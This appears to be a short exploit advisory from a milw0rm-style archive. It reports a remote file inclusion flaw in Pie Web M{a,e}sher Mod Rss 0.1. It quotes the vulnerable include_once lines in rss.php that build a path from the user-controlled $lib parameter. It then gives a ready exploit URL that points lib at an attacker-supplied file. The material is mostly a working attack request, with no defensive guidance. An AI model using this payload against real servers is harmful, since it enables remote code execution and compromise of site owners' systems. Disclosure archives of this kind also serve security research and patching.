Pie Web M{a,e}sher Mod Rss 0.1 Remote File Inclusion Vulnerability

Pie Web M{a,e}sher Mod Rss 0.1 Remote File Inclusion Vulnerability

link: http://www.milw0rm.com/exploits/7225

Discovered By: ZoRLu

file: rss-0.1/lib/action/rss.php

c0de: 

include_once("$lib/class/page.php");
include_once("$lib/share/link.php");
include_once("$lib/share/stdio.php");
include_once("$lib/share/string.php");

exp:

http://localhost/script/[pie installation]/lib/action/rss.php?lib=ZoRLu.txt?